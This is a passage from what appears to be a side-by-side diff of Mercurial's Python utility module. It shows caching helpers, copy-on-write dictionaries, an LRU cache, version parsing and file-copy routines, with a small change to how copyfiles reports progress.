1041 >>> versiontuple(v, 4)
1042 (3, 9, None, 'rc+2-02a8fea4289b')
1042 (3, 9, None, 'rc+2-02a8fea4289b')
1043
1043
1044 >>> versiontuple(b'4.6rc0')
1044 >>> versiontuple(b'4.6rc0')
1045 (4, 6, None, 'rc0')
1045 (4, 6, None, 'rc0')
1046 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1046 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1047 (4, 6, None, 'rc0+12-425d55e54f98')
1047 (4, 6, None, 'rc0+12-425d55e54f98')
1048 >>> versiontuple(b'.1.2.3')
1048 >>> versiontuple(b'.1.2.3')
1049 (None, None, None, '.1.2.3')
1049 (None, None, None, '.1.2.3')
1050 >>> versiontuple(b'12.34..5')
1050 >>> versiontuple(b'12.34..5')
1051 (12, 34, None, '..5')
1051 (12, 34, None, '..5')
1052 >>> versiontuple(b'1.2.3.4.5.6')
1052 >>> versiontuple(b'1.2.3.4.5.6')
1053 (1, 2, 3, '.4.5.6')
1053 (1, 2, 3, '.4.5.6')
1054 """
1054 """
1055 if not v:
1055 if not v:
1056 v = version()
1056 v = version()
1057 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1057 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1058 if not m:
1058 if not m:
1059 vparts, extra = '', v
1059 vparts, extra = '', v
1060 elif m.group(2):
1060 elif m.group(2):
1061 vparts, extra = m.groups()
1061 vparts, extra = m.groups()
1062 else:
1062 else:
1063 vparts, extra = m.group(1), None
1063 vparts, extra = m.group(1), None
1064
1064
1065 vints = []
1065 vints = []
1066 for i in vparts.split('.'):
1066 for i in vparts.split('.'):
1067 try:
1067 try:
1068 vints.append(int(i))
1068 vints.append(int(i))
1069 except ValueError:
1069 except ValueError:
1070 break
1070 break
1071 # (3, 6) -> (3, 6, None)
1071 # (3, 6) -> (3, 6, None)
1072 while len(vints) < 3:
1072 while len(vints) < 3:
1073 vints.append(None)
1073 vints.append(None)
1074
1074
1075 if n == 2:
1075 if n == 2:
1076 return (vints[0], vints[1])
1076 return (vints[0], vints[1])
1077 if n == 3:
1077 if n == 3:
1078 return (vints[0], vints[1], vints[2])
1078 return (vints[0], vints[1], vints[2])
1079 if n == 4:
1079 if n == 4:
1080 return (vints[0], vints[1], vints[2], extra)
1080 return (vints[0], vints[1], vints[2], extra)
1081
1081
1082 def cachefunc(func):
1082 def cachefunc(func):
1083 '''cache the result of function calls'''
1083 '''cache the result of function calls'''
1084 # XXX doesn't handle keywords args
1084 # XXX doesn't handle keywords args
1085 if func.__code__.co_argcount == 0:
1085 if func.__code__.co_argcount == 0:
1086 cache = []
1086 cache = []
1087 def f():
1087 def f():
1088 if len(cache) == 0:
1088 if len(cache) == 0:
1089 cache.append(func())
1089 cache.append(func())
1090 return cache[0]
1090 return cache[0]
1091 return f
1091 return f
1092 cache = {}
1092 cache = {}
1093 if func.__code__.co_argcount == 1:
1093 if func.__code__.co_argcount == 1:
1094 # we gain a small amount of time because
1094 # we gain a small amount of time because
1095 # we don't need to pack/unpack the list
1095 # we don't need to pack/unpack the list
1096 def f(arg):
1096 def f(arg):
1097 if arg not in cache:
1097 if arg not in cache:
1098 cache[arg] = func(arg)
1098 cache[arg] = func(arg)
1099 return cache[arg]
1099 return cache[arg]
1100 else:
1100 else:
1101 def f(*args):
1101 def f(*args):
1102 if args not in cache:
1102 if args not in cache:
1103 cache[args] = func(*args)
1103 cache[args] = func(*args)
1104 return cache[args]
1104 return cache[args]
1105
1105
1106 return f
1106 return f
1107
1107
1108 class cow(object):
1108 class cow(object):
1109 """helper class to make copy-on-write easier
1109 """helper class to make copy-on-write easier
1110
1110
1111 Call preparewrite before doing any writes.
1111 Call preparewrite before doing any writes.
1112 """
1112 """
1113
1113
1114 def preparewrite(self):
1114 def preparewrite(self):
1115 """call this before writes, return self or a copied new object"""
1115 """call this before writes, return self or a copied new object"""
1116 if getattr(self, '_copied', 0):
1116 if getattr(self, '_copied', 0):
1117 self._copied -= 1
1117 self._copied -= 1
1118 return self.__class__(self)
1118 return self.__class__(self)
1119 return self
1119 return self
1120
1120
1121 def copy(self):
1121 def copy(self):
1122 """always do a cheap copy"""
1122 """always do a cheap copy"""
1123 self._copied = getattr(self, '_copied', 0) + 1
1123 self._copied = getattr(self, '_copied', 0) + 1
1124 return self
1124 return self
1125
1125
1126 class sortdict(collections.OrderedDict):
1126 class sortdict(collections.OrderedDict):
1127 '''a simple sorted dictionary
1127 '''a simple sorted dictionary
1128
1128
1129 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1129 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1130 >>> d2 = d1.copy()
1130 >>> d2 = d1.copy()
1131 >>> d2
1131 >>> d2
1132 sortdict([('a', 0), ('b', 1)])
1132 sortdict([('a', 0), ('b', 1)])
1133 >>> d2.update([(b'a', 2)])
1133 >>> d2.update([(b'a', 2)])
1134 >>> list(d2.keys()) # should still be in last-set order
1134 >>> list(d2.keys()) # should still be in last-set order
1135 ['b', 'a']
1135 ['b', 'a']
1136 '''
1136 '''
1137
1137
1138 def __setitem__(self, key, value):
1138 def __setitem__(self, key, value):
1139 if key in self:
1139 if key in self:
1140 del self[key]
1140 del self[key]
1141 super(sortdict, self).__setitem__(key, value)
1141 super(sortdict, self).__setitem__(key, value)
1142
1142
1143 if pycompat.ispypy:
1143 if pycompat.ispypy:
1144 # __setitem__() isn't called as of PyPy 5.8.0
1144 # __setitem__() isn't called as of PyPy 5.8.0
1145 def update(self, src):
1145 def update(self, src):
1146 if isinstance(src, dict):
1146 if isinstance(src, dict):
1147 src = src.iteritems()
1147 src = src.iteritems()
1148 for k, v in src:
1148 for k, v in src:
1149 self[k] = v
1149 self[k] = v
1150
1150
1151 class cowdict(cow, dict):
1151 class cowdict(cow, dict):
1152 """copy-on-write dict
1152 """copy-on-write dict
1153
1153
1154 Be sure to call d = d.preparewrite() before writing to d.
1154 Be sure to call d = d.preparewrite() before writing to d.
1155
1155
1156 >>> a = cowdict()
1156 >>> a = cowdict()
1157 >>> a is a.preparewrite()
1157 >>> a is a.preparewrite()
1158 True
1158 True
1159 >>> b = a.copy()
1159 >>> b = a.copy()
1160 >>> b is a
1160 >>> b is a
1161 True
1161 True
1162 >>> c = b.copy()
1162 >>> c = b.copy()
1163 >>> c is a
1163 >>> c is a
1164 True
1164 True
1165 >>> a = a.preparewrite()
1165 >>> a = a.preparewrite()
1166 >>> b is a
1166 >>> b is a
1167 False
1167 False
1168 >>> a is a.preparewrite()
1168 >>> a is a.preparewrite()
1169 True
1169 True
1170 >>> c = c.preparewrite()
1170 >>> c = c.preparewrite()
1171 >>> b is c
1171 >>> b is c
1172 False
1172 False
1173 >>> b is b.preparewrite()
1173 >>> b is b.preparewrite()
1174 True
1174 True
1175 """
1175 """
1176
1176
1177 class cowsortdict(cow, sortdict):
1177 class cowsortdict(cow, sortdict):
1178 """copy-on-write sortdict
1178 """copy-on-write sortdict
1179
1179
1180 Be sure to call d = d.preparewrite() before writing to d.
1180 Be sure to call d = d.preparewrite() before writing to d.
1181 """
1181 """
1182
1182
1183 class transactional(object):
1183 class transactional(object):
1184 """Base class for making a transactional type into a context manager."""
1184 """Base class for making a transactional type into a context manager."""
1185 __metaclass__ = abc.ABCMeta
1185 __metaclass__ = abc.ABCMeta
1186
1186
1187 @abc.abstractmethod
1187 @abc.abstractmethod
1188 def close(self):
1188 def close(self):
1189 """Successfully closes the transaction."""
1189 """Successfully closes the transaction."""
1190
1190
1191 @abc.abstractmethod
1191 @abc.abstractmethod
1192 def release(self):
1192 def release(self):
1193 """Marks the end of the transaction.
1193 """Marks the end of the transaction.
1194
1194
1195 If the transaction has not been closed, it will be aborted.
1195 If the transaction has not been closed, it will be aborted.
1196 """
1196 """
1197
1197
1198 def __enter__(self):
1198 def __enter__(self):
1199 return self
1199 return self
1200
1200
1201 def __exit__(self, exc_type, exc_val, exc_tb):
1201 def __exit__(self, exc_type, exc_val, exc_tb):
1202 try:
1202 try:
1203 if exc_type is None:
1203 if exc_type is None:
1204 self.close()
1204 self.close()
1205 finally:
1205 finally:
1206 self.release()
1206 self.release()
1207
1207
1208 @contextlib.contextmanager
1208 @contextlib.contextmanager
1209 def acceptintervention(tr=None):
1209 def acceptintervention(tr=None):
1210 """A context manager that closes the transaction on InterventionRequired
1210 """A context manager that closes the transaction on InterventionRequired
1211
1211
1212 If no transaction was provided, this simply runs the body and returns
1212 If no transaction was provided, this simply runs the body and returns
1213 """
1213 """
1214 if not tr:
1214 if not tr:
1215 yield
1215 yield
1216 return
1216 return
1217 try:
1217 try:
1218 yield
1218 yield
1219 tr.close()
1219 tr.close()
1220 except error.InterventionRequired:
1220 except error.InterventionRequired:
1221 tr.close()
1221 tr.close()
1222 raise
1222 raise
1223 finally:
1223 finally:
1224 tr.release()
1224 tr.release()
1225
1225
1226 @contextlib.contextmanager
1226 @contextlib.contextmanager
1227 def nullcontextmanager():
1227 def nullcontextmanager():
1228 yield
1228 yield
1229
1229
1230 class _lrucachenode(object):
1230 class _lrucachenode(object):
1231 """A node in a doubly linked list.
1231 """A node in a doubly linked list.
1232
1232
1233 Holds a reference to nodes on either side as well as a key-value
1233 Holds a reference to nodes on either side as well as a key-value
1234 pair for the dictionary entry.
1234 pair for the dictionary entry.
1235 """
1235 """
1236 __slots__ = (u'next', u'prev', u'key', u'value')
1236 __slots__ = (u'next', u'prev', u'key', u'value')
1237
1237
1238 def __init__(self):
1238 def __init__(self):
1239 self.next = None
1239 self.next = None
1240 self.prev = None
1240 self.prev = None
1241
1241
1242 self.key = _notset
1242 self.key = _notset
1243 self.value = None
1243 self.value = None
1244
1244
1245 def markempty(self):
1245 def markempty(self):
1246 """Mark the node as emptied."""
1246 """Mark the node as emptied."""
1247 self.key = _notset
1247 self.key = _notset
1248
1248
1249 class lrucachedict(object):
1249 class lrucachedict(object):
1250 """Dict that caches most recent accesses and sets.
1250 """Dict that caches most recent accesses and sets.
1251
1251
1252 The dict consists of an actual backing dict - indexed by original
1252 The dict consists of an actual backing dict - indexed by original
1253 key - and a doubly linked circular list defining the order of entries in
1253 key - and a doubly linked circular list defining the order of entries in
1254 the cache.
1254 the cache.
1255
1255
1256 The head node is the newest entry in the cache. If the cache is full,
1256 The head node is the newest entry in the cache. If the cache is full,
1257 we recycle head.prev and make it the new head. Cache accesses result in
1257 we recycle head.prev and make it the new head. Cache accesses result in
1258 the node being moved to before the existing head and being marked as the
1258 the node being moved to before the existing head and being marked as the
1259 new head node.
1259 new head node.
1260 """
1260 """
1261 def __init__(self, max):
1261 def __init__(self, max):
1262 self._cache = {}
1262 self._cache = {}
1263
1263
1264 self._head = head = _lrucachenode()
1264 self._head = head = _lrucachenode()
1265 head.prev = head
1265 head.prev = head
1266 head.next = head
1266 head.next = head
1267 self._size = 1
1267 self._size = 1
1268 self._capacity = max
1268 self._capacity = max
1269
1269
1270 def __len__(self):
1270 def __len__(self):
1271 return len(self._cache)
1271 return len(self._cache)
1272
1272
1273 def __contains__(self, k):
1273 def __contains__(self, k):
1274 return k in self._cache
1274 return k in self._cache
1275
1275
1276 def __iter__(self):
1276 def __iter__(self):
1277 # We don't have to iterate in cache order, but why not.
1277 # We don't have to iterate in cache order, but why not.
1278 n = self._head
1278 n = self._head
1279 for i in range(len(self._cache)):
1279 for i in range(len(self._cache)):
1280 yield n.key
1280 yield n.key
1281 n = n.next
1281 n = n.next
1282
1282
1283 def __getitem__(self, k):
1283 def __getitem__(self, k):
1284 node = self._cache[k]
1284 node = self._cache[k]
1285 self._movetohead(node)
1285 self._movetohead(node)
1286 return node.value
1286 return node.value
1287
1287
1288 def __setitem__(self, k, v):
1288 def __setitem__(self, k, v):
1289 node = self._cache.get(k)
1289 node = self._cache.get(k)
1290 # Replace existing value and mark as newest.
1290 # Replace existing value and mark as newest.
1291 if node is not None:
1291 if node is not None:
1292 node.value = v
1292 node.value = v
1293 self._movetohead(node)
1293 self._movetohead(node)
1294 return
1294 return
1295
1295
1296 if self._size < self._capacity:
1296 if self._size < self._capacity:
1297 node = self._addcapacity()
1297 node = self._addcapacity()
1298 else:
1298 else:
1299 # Grab the last/oldest item.
1299 # Grab the last/oldest item.
1300 node = self._head.prev
1300 node = self._head.prev
1301
1301
1302 # At capacity. Kill the old entry.
1302 # At capacity. Kill the old entry.
1303 if node.key is not _notset:
1303 if node.key is not _notset:
1304 del self._cache[node.key]
1304 del self._cache[node.key]
1305
1305
1306 node.key = k
1306 node.key = k
1307 node.value = v
1307 node.value = v
1308 self._cache[k] = node
1308 self._cache[k] = node
1309 # And mark it as newest entry. No need to adjust order since it
1309 # And mark it as newest entry. No need to adjust order since it
1310 # is already self._head.prev.
1310 # is already self._head.prev.
1311 self._head = node
1311 self._head = node
1312
1312
1313 def __delitem__(self, k):
1313 def __delitem__(self, k):
1314 node = self._cache.pop(k)
1314 node = self._cache.pop(k)
1315 node.markempty()
1315 node.markempty()
1316
1316
1317 # Temporarily mark as newest item before re-adjusting head to make
1317 # Temporarily mark as newest item before re-adjusting head to make
1318 # this node the oldest item.
1318 # this node the oldest item.
1319 self._movetohead(node)
1319 self._movetohead(node)
1320 self._head = node.next
1320 self._head = node.next
1321
1321
1322 # Additional dict methods.
1322 # Additional dict methods.
1323
1323
1324 def get(self, k, default=None):
1324 def get(self, k, default=None):
1325 try:
1325 try:
1326 return self._cache[k].value
1326 return self._cache[k].value
1327 except KeyError:
1327 except KeyError:
1328 return default
1328 return default
1329
1329
1330 def clear(self):
1330 def clear(self):
1331 n = self._head
1331 n = self._head
1332 while n.key is not _notset:
1332 while n.key is not _notset:
1333 n.markempty()
1333 n.markempty()
1334 n = n.next
1334 n = n.next
1335
1335
1336 self._cache.clear()
1336 self._cache.clear()
1337
1337
1338 def copy(self):
1338 def copy(self):
1339 result = lrucachedict(self._capacity)
1339 result = lrucachedict(self._capacity)
1340 n = self._head.prev
1340 n = self._head.prev
1341 # Iterate in oldest-to-newest order, so the copy has the right ordering
1341 # Iterate in oldest-to-newest order, so the copy has the right ordering
1342 for i in range(len(self._cache)):
1342 for i in range(len(self._cache)):
1343 result[n.key] = n.value
1343 result[n.key] = n.value
1344 n = n.prev
1344 n = n.prev
1345 return result
1345 return result
1346
1346
1347 def _movetohead(self, node):
1347 def _movetohead(self, node):
1348 """Mark a node as the newest, making it the new head.
1348 """Mark a node as the newest, making it the new head.
1349
1349
1350 When a node is accessed, it becomes the freshest entry in the LRU
1350 When a node is accessed, it becomes the freshest entry in the LRU
1351 list, which is denoted by self._head.
1351 list, which is denoted by self._head.
1352
1352
1353 Visually, let's make ``N`` the new head node (* denotes head):
1353 Visually, let's make ``N`` the new head node (* denotes head):
1354
1354
1355 previous/oldest <-> head <-> next/next newest
1355 previous/oldest <-> head <-> next/next newest
1356
1356
1357 ----<->--- A* ---<->-----
1357 ----<->--- A* ---<->-----
1358 | |
1358 | |
1359 E <-> D <-> N <-> C <-> B
1359 E <-> D <-> N <-> C <-> B
1360
1360
1361 To:
1361 To:
1362
1362
1363 ----<->--- N* ---<->-----
1363 ----<->--- N* ---<->-----
1364 | |
1364 | |
1365 E <-> D <-> C <-> B <-> A
1365 E <-> D <-> C <-> B <-> A
1366
1366
1367 This requires the following moves:
1367 This requires the following moves:
1368
1368
1369 C.next = D (node.prev.next = node.next)
1369 C.next = D (node.prev.next = node.next)
1370 D.prev = C (node.next.prev = node.prev)
1370 D.prev = C (node.next.prev = node.prev)
1371 E.next = N (head.prev.next = node)
1371 E.next = N (head.prev.next = node)
1372 N.prev = E (node.prev = head.prev)
1372 N.prev = E (node.prev = head.prev)
1373 N.next = A (node.next = head)
1373 N.next = A (node.next = head)
1374 A.prev = N (head.prev = node)
1374 A.prev = N (head.prev = node)
1375 """
1375 """
1376 head = self._head
1376 head = self._head
1377 # C.next = D
1377 # C.next = D
1378 node.prev.next = node.next
1378 node.prev.next = node.next
1379 # D.prev = C
1379 # D.prev = C
1380 node.next.prev = node.prev
1380 node.next.prev = node.prev
1381 # N.prev = E
1381 # N.prev = E
1382 node.prev = head.prev
1382 node.prev = head.prev
1383 # N.next = A
1383 # N.next = A
1384 # It is tempting to do just "head" here, however if node is
1384 # It is tempting to do just "head" here, however if node is
1385 # adjacent to head, this will do bad things.
1385 # adjacent to head, this will do bad things.
1386 node.next = head.prev.next
1386 node.next = head.prev.next
1387 # E.next = N
1387 # E.next = N
1388 node.next.prev = node
1388 node.next.prev = node
1389 # A.prev = N
1389 # A.prev = N
1390 node.prev.next = node
1390 node.prev.next = node
1391
1391
1392 self._head = node
1392 self._head = node
1393
1393
1394 def _addcapacity(self):
1394 def _addcapacity(self):
1395 """Add a node to the circular linked list.
1395 """Add a node to the circular linked list.
1396
1396
1397 The new node is inserted before the head node.
1397 The new node is inserted before the head node.
1398 """
1398 """
1399 head = self._head
1399 head = self._head
1400 node = _lrucachenode()
1400 node = _lrucachenode()
1401 head.prev.next = node
1401 head.prev.next = node
1402 node.prev = head.prev
1402 node.prev = head.prev
1403 node.next = head
1403 node.next = head
1404 head.prev = node
1404 head.prev = node
1405 self._size += 1
1405 self._size += 1
1406 return node
1406 return node
1407
1407
1408 def lrucachefunc(func):
1408 def lrucachefunc(func):
1409 '''cache most recent results of function calls'''
1409 '''cache most recent results of function calls'''
1410 cache = {}
1410 cache = {}
1411 order = collections.deque()
1411 order = collections.deque()
1412 if func.__code__.co_argcount == 1:
1412 if func.__code__.co_argcount == 1:
1413 def f(arg):
1413 def f(arg):
1414 if arg not in cache:
1414 if arg not in cache:
1415 if len(cache) > 20:
1415 if len(cache) > 20:
1416 del cache[order.popleft()]
1416 del cache[order.popleft()]
1417 cache[arg] = func(arg)
1417 cache[arg] = func(arg)
1418 else:
1418 else:
1419 order.remove(arg)
1419 order.remove(arg)
1420 order.append(arg)
1420 order.append(arg)
1421 return cache[arg]
1421 return cache[arg]
1422 else:
1422 else:
1423 def f(*args):
1423 def f(*args):
1424 if args not in cache:
1424 if args not in cache:
1425 if len(cache) > 20:
1425 if len(cache) > 20:
1426 del cache[order.popleft()]
1426 del cache[order.popleft()]
1427 cache[args] = func(*args)
1427 cache[args] = func(*args)
1428 else:
1428 else:
1429 order.remove(args)
1429 order.remove(args)
1430 order.append(args)
1430 order.append(args)
1431 return cache[args]
1431 return cache[args]
1432
1432
1433 return f
1433 return f
1434
1434
1435 class propertycache(object):
1435 class propertycache(object):
1436 def __init__(self, func):
1436 def __init__(self, func):
1437 self.func = func
1437 self.func = func
1438 self.name = func.__name__
1438 self.name = func.__name__
1439 def __get__(self, obj, type=None):
1439 def __get__(self, obj, type=None):
1440 result = self.func(obj)
1440 result = self.func(obj)
1441 self.cachevalue(obj, result)
1441 self.cachevalue(obj, result)
1442 return result
1442 return result
1443
1443
1444 def cachevalue(self, obj, value):
1444 def cachevalue(self, obj, value):
1445 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1445 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1446 obj.__dict__[self.name] = value
1446 obj.__dict__[self.name] = value
1447
1447
1448 def clearcachedproperty(obj, prop):
1448 def clearcachedproperty(obj, prop):
1449 '''clear a cached property value, if one has been set'''
1449 '''clear a cached property value, if one has been set'''
1450 if prop in obj.__dict__:
1450 if prop in obj.__dict__:
1451 del obj.__dict__[prop]
1451 del obj.__dict__[prop]
1452
1452
1453 def increasingchunks(source, min=1024, max=65536):
1453 def increasingchunks(source, min=1024, max=65536):
1454 '''return no less than min bytes per chunk while data remains,
1454 '''return no less than min bytes per chunk while data remains,
1455 doubling min after each chunk until it reaches max'''
1455 doubling min after each chunk until it reaches max'''
1456 def log2(x):
1456 def log2(x):
1457 if not x:
1457 if not x:
1458 return 0
1458 return 0
1459 i = 0
1459 i = 0
1460 while x:
1460 while x:
1461 x >>= 1
1461 x >>= 1
1462 i += 1
1462 i += 1
1463 return i - 1
1463 return i - 1
1464
1464
1465 buf = []
1465 buf = []
1466 blen = 0
1466 blen = 0
1467 for chunk in source:
1467 for chunk in source:
1468 buf.append(chunk)
1468 buf.append(chunk)
1469 blen += len(chunk)
1469 blen += len(chunk)
1470 if blen >= min:
1470 if blen >= min:
1471 if min < max:
1471 if min < max:
1472 min = min << 1
1472 min = min << 1
1473 nmin = 1 << log2(blen)
1473 nmin = 1 << log2(blen)
1474 if nmin > min:
1474 if nmin > min:
1475 min = nmin
1475 min = nmin
1476 if min > max:
1476 if min > max:
1477 min = max
1477 min = max
1478 yield ''.join(buf)
1478 yield ''.join(buf)
1479 blen = 0
1479 blen = 0
1480 buf = []
1480 buf = []
1481 if buf:
1481 if buf:
1482 yield ''.join(buf)
1482 yield ''.join(buf)
1483
1483
1484 def always(fn):
1484 def always(fn):
1485 return True
1485 return True
1486
1486
1487 def never(fn):
1487 def never(fn):
1488 return False
1488 return False
1489
1489
1490 def nogc(func):
1490 def nogc(func):
1491 """disable garbage collector
1491 """disable garbage collector
1492
1492
1493 Python's garbage collector triggers a GC each time a certain number of
1493 Python's garbage collector triggers a GC each time a certain number of
1494 container objects (the number being defined by gc.get_threshold()) are
1494 container objects (the number being defined by gc.get_threshold()) are
1495 allocated even when marked not to be tracked by the collector. Tracking has
1495 allocated even when marked not to be tracked by the collector. Tracking has
1496 no effect on when GCs are triggered, only on what objects the GC looks
1496 no effect on when GCs are triggered, only on what objects the GC looks
1497 into. As a workaround, disable GC while building complex (huge)
1497 into. As a workaround, disable GC while building complex (huge)
1498 containers.
1498 containers.
1499
1499
1500 This garbage collector issue have been fixed in 2.7. But it still affect
1500 This garbage collector issue have been fixed in 2.7. But it still affect
1501 CPython's performance.
1501 CPython's performance.
1502 """
1502 """
1503 def wrapper(*args, **kwargs):
1503 def wrapper(*args, **kwargs):
1504 gcenabled = gc.isenabled()
1504 gcenabled = gc.isenabled()
1505 gc.disable()
1505 gc.disable()
1506 try:
1506 try:
1507 return func(*args, **kwargs)
1507 return func(*args, **kwargs)
1508 finally:
1508 finally:
1509 if gcenabled:
1509 if gcenabled:
1510 gc.enable()
1510 gc.enable()
1511 return wrapper
1511 return wrapper
1512
1512
1513 if pycompat.ispypy:
1513 if pycompat.ispypy:
1514 # PyPy runs slower with gc disabled
1514 # PyPy runs slower with gc disabled
1515 nogc = lambda x: x
1515 nogc = lambda x: x
1516
1516
1517 def pathto(root, n1, n2):
1517 def pathto(root, n1, n2):
1518 '''return the relative path from one place to another.
1518 '''return the relative path from one place to another.
1519 root should use os.sep to separate directories
1519 root should use os.sep to separate directories
1520 n1 should use os.sep to separate directories
1520 n1 should use os.sep to separate directories
1521 n2 should use "/" to separate directories
1521 n2 should use "/" to separate directories
1522 returns an os.sep-separated path.
1522 returns an os.sep-separated path.
1523
1523
1524 If n1 is a relative path, it's assumed it's
1524 If n1 is a relative path, it's assumed it's
1525 relative to root.
1525 relative to root.
1526 n2 should always be relative to root.
1526 n2 should always be relative to root.
1527 '''
1527 '''
1528 if not n1:
1528 if not n1:
1529 return localpath(n2)
1529 return localpath(n2)
1530 if os.path.isabs(n1):
1530 if os.path.isabs(n1):
1531 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1531 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1532 return os.path.join(root, localpath(n2))
1532 return os.path.join(root, localpath(n2))
1533 n2 = '/'.join((pconvert(root), n2))
1533 n2 = '/'.join((pconvert(root), n2))
1534 a, b = splitpath(n1), n2.split('/')
1534 a, b = splitpath(n1), n2.split('/')
1535 a.reverse()
1535 a.reverse()
1536 b.reverse()
1536 b.reverse()
1537 while a and b and a[-1] == b[-1]:
1537 while a and b and a[-1] == b[-1]:
1538 a.pop()
1538 a.pop()
1539 b.pop()
1539 b.pop()
1540 b.reverse()
1540 b.reverse()
1541 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1541 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1542
1542
1543 # the location of data files matching the source code
1543 # the location of data files matching the source code
1544 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1544 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1545 # executable version (py2exe) doesn't support __file__
1545 # executable version (py2exe) doesn't support __file__
1546 datapath = os.path.dirname(pycompat.sysexecutable)
1546 datapath = os.path.dirname(pycompat.sysexecutable)
1547 else:
1547 else:
1548 datapath = os.path.dirname(pycompat.fsencode(__file__))
1548 datapath = os.path.dirname(pycompat.fsencode(__file__))
1549
1549
1550 i18n.setdatapath(datapath)
1550 i18n.setdatapath(datapath)
1551
1551
1552 def checksignature(func):
1552 def checksignature(func):
1553 '''wrap a function with code to check for calling errors'''
1553 '''wrap a function with code to check for calling errors'''
1554 def check(*args, **kwargs):
1554 def check(*args, **kwargs):
1555 try:
1555 try:
1556 return func(*args, **kwargs)
1556 return func(*args, **kwargs)
1557 except TypeError:
1557 except TypeError:
1558 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1558 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1559 raise error.SignatureError
1559 raise error.SignatureError
1560 raise
1560 raise
1561
1561
1562 return check
1562 return check
1563
1563
1564 # a whilelist of known filesystems where hardlink works reliably
1564 # a whilelist of known filesystems where hardlink works reliably
1565 _hardlinkfswhitelist = {
1565 _hardlinkfswhitelist = {
1566 'apfs',
1566 'apfs',
1567 'btrfs',
1567 'btrfs',
1568 'ext2',
1568 'ext2',
1569 'ext3',
1569 'ext3',
1570 'ext4',
1570 'ext4',
1571 'hfs',
1571 'hfs',
1572 'jfs',
1572 'jfs',
1573 'NTFS',
1573 'NTFS',
1574 'reiserfs',
1574 'reiserfs',
1575 'tmpfs',
1575 'tmpfs',
1576 'ufs',
1576 'ufs',
1577 'xfs',
1577 'xfs',
1578 'zfs',
1578 'zfs',
1579 }
1579 }
1580
1580
1581 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1581 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1582 '''copy a file, preserving mode and optionally other stat info like
1582 '''copy a file, preserving mode and optionally other stat info like
1583 atime/mtime
1583 atime/mtime
1584
1584
1585 checkambig argument is used with filestat, and is useful only if
1585 checkambig argument is used with filestat, and is useful only if
1586 destination file is guarded by any lock (e.g. repo.lock or
1586 destination file is guarded by any lock (e.g. repo.lock or
1587 repo.wlock).
1587 repo.wlock).
1588
1588
1589 copystat and checkambig should be exclusive.
1589 copystat and checkambig should be exclusive.
1590 '''
1590 '''
1591 assert not (copystat and checkambig)
1591 assert not (copystat and checkambig)
1592 oldstat = None
1592 oldstat = None
1593 if os.path.lexists(dest):
1593 if os.path.lexists(dest):
1594 if checkambig:
1594 if checkambig:
1595 oldstat = checkambig and filestat.frompath(dest)
1595 oldstat = checkambig and filestat.frompath(dest)
1596 unlink(dest)
1596 unlink(dest)
1597 if hardlink:
1597 if hardlink:
1598 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1598 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1599 # unless we are confident that dest is on a whitelisted filesystem.
1599 # unless we are confident that dest is on a whitelisted filesystem.
1600 try:
1600 try:
1601 fstype = getfstype(os.path.dirname(dest))
1601 fstype = getfstype(os.path.dirname(dest))
1602 except OSError:
1602 except OSError:
1603 fstype = None
1603 fstype = None
1604 if fstype not in _hardlinkfswhitelist:
1604 if fstype not in _hardlinkfswhitelist:
1605 hardlink = False
1605 hardlink = False
1606 if hardlink:
1606 if hardlink:
1607 try:
1607 try:
1608 oslink(src, dest)
1608 oslink(src, dest)
1609 return
1609 return
1610 except (IOError, OSError):
1610 except (IOError, OSError):
1611 pass # fall back to normal copy
1611 pass # fall back to normal copy
1612 if os.path.islink(src):
1612 if os.path.islink(src):
1613 os.symlink(os.readlink(src), dest)
1613 os.symlink(os.readlink(src), dest)
1614 # copytime is ignored for symlinks, but in general copytime isn't needed
1614 # copytime is ignored for symlinks, but in general copytime isn't needed
1615 # for them anyway
1615 # for them anyway
1616 else:
1616 else:
1617 try:
1617 try:
1618 shutil.copyfile(src, dest)
1618 shutil.copyfile(src, dest)
1619 if copystat:
1619 if copystat:
1620 # copystat also copies mode
1620 # copystat also copies mode
1621 shutil.copystat(src, dest)
1621 shutil.copystat(src, dest)
1622 else:
1622 else:
1623 shutil.copymode(src, dest)
1623 shutil.copymode(src, dest)
1624 if oldstat and oldstat.stat:
1624 if oldstat and oldstat.stat:
1625 newstat = filestat.frompath(dest)
1625 newstat = filestat.frompath(dest)
1626 if newstat.isambig(oldstat):
1626 if newstat.isambig(oldstat):
1627 # stat of copied file is ambiguous to original one
1627 # stat of copied file is ambiguous to original one
1628 advanced = (
1628 advanced = (
1629 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1629 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1630 os.utime(dest, (advanced, advanced))
1630 os.utime(dest, (advanced, advanced))
1631 except shutil.Error as inst:
1631 except shutil.Error as inst:
1632 raise error.Abort(str(inst))
1632 raise error.Abort(str(inst))
1633
1633
1634 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1634 def copyfiles(src, dst, hardlink=None, progress=None):
1635 """Copy a directory tree using hardlinks if possible."""
1635 """Copy a directory tree using hardlinks if possible."""
1636 num = 0
1636 num = 0
1637
1637
1638 gettopic = lambda: hardlink and _('linking') or _('copying')
1638 def settopic():
1639 if progress:
1640 progress.topic = _('linking') if hardlink else _('copying')
1639
1641
1640 if os.path.isdir(src):
1642 if os.path.isdir(src):
1641 if hardlink is None:
1643 if hardlink is None:
1642 hardlink = (os.stat(src).st_dev ==
1644 hardlink = (os.stat(src).st_dev ==
1643 os.stat(os.path.dirname(dst)).st_dev)
